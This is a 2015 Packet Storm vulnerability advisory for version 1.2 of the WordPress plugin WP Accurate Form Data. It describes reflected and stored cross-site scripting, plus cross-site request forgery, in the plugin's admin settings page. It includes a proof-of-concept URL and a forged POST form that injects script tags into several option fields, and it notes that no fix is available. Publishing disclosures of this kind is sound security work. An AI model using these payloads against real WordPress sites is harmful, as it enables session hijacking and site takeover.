what you don't know can hurt you

WordPress WP Accurate Form Data 1.2 XSS / CSRF

WordPress WP Accurate Form Data 1.2 XSS / CSRF
Posted Jul 31, 2015
Authored by Morten Nortoft, Kenneth Jepsen, Mikkel Vej

WordPress WP Accurate Form Data plugin version 1.2 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | fc6a703b4f5acccbeb6944ce970d4cff

WordPress WP Accurate Form Data 1.2 XSS / CSRF

Change Mirror Download
Title: WordPress 'WP Accurate Form Data' Plugin 
Version: 1.2
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-21
Download:
- https://wordpress.org/plugins/accurate-form-data-real-time-form-validation/
- https://plugins.svn.wordpress.org/accurate-form-data-real-time-form-validation/
Notified WordPress: 2015-06-21
==========================================================

## Plugin description
==========================================================
The plugin performs E-mail and Physical Address validations automatically for most wordpress contact forms.

## XSS Vulnerabilities
==========================================================
The request URI is echo'ed into the HTML page without sanitization. This can be exploited with a malicious URL (keep in mind that most modern browsers encode the url).

http://[URL]/wp-admin/options-general.php?page=Accu_Data_WP&a="><script>alert(1)</script>

----

The options on the admin settings page are displayed/stored without sanitization. This can be exploited with a crafted POST request.

PoC (using CSRF):

Log in as admin and submit the following form:

<form method="POST" action="http://[URL]/wp-admin/options-general.php?page=Accu_Data_WP">
<input type="text" name="wClientKey" value=""><script>alert(1)</script>"><br />
<text>wCheckEmailValidity: </text>
<input type="text" name="wCheckEmailValidity" value=""><br />
<input type="text" name="wIncludeOpen" value=""><br />
<input type="text" name="wEmailBlockAttempts" value=""><script>alert(4)</script>"><br />
<input type="text" name="wEmailFields" value=""><script>alert(5)</script>"><br />
<input type="text" name="wCheckPhysicalAddressValidity" value=""><br />
<input type="text" name="wPhysicalAddressBlockAttempts" value=""><script>alert(7)</script>"><br />
<input type="text" name="wCityFields" value=""><script>alert(8)</script>"><br />
<input type="text" name="wZipFields" value=""><script>alert(9)</script>"><br />
<input type="text" name="wAddressFields" value=""><script>alert(10)</script>"><br />
<input type="text" name="wStateFields" value=""><script>alert(11)</script>"><br />
<input type="text" name="wCountryFields" value=""><script>alert(12)</script>"><br />
<text>wSub </text>
<input type="text" name="wSub" value="Save Changes" readonly><br />
<input type="submit">
</form>


## Solution
==========================================================
No fix available

==========================================================
XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    22 Files
  • 20
    Mar 20th
    14 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    15 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close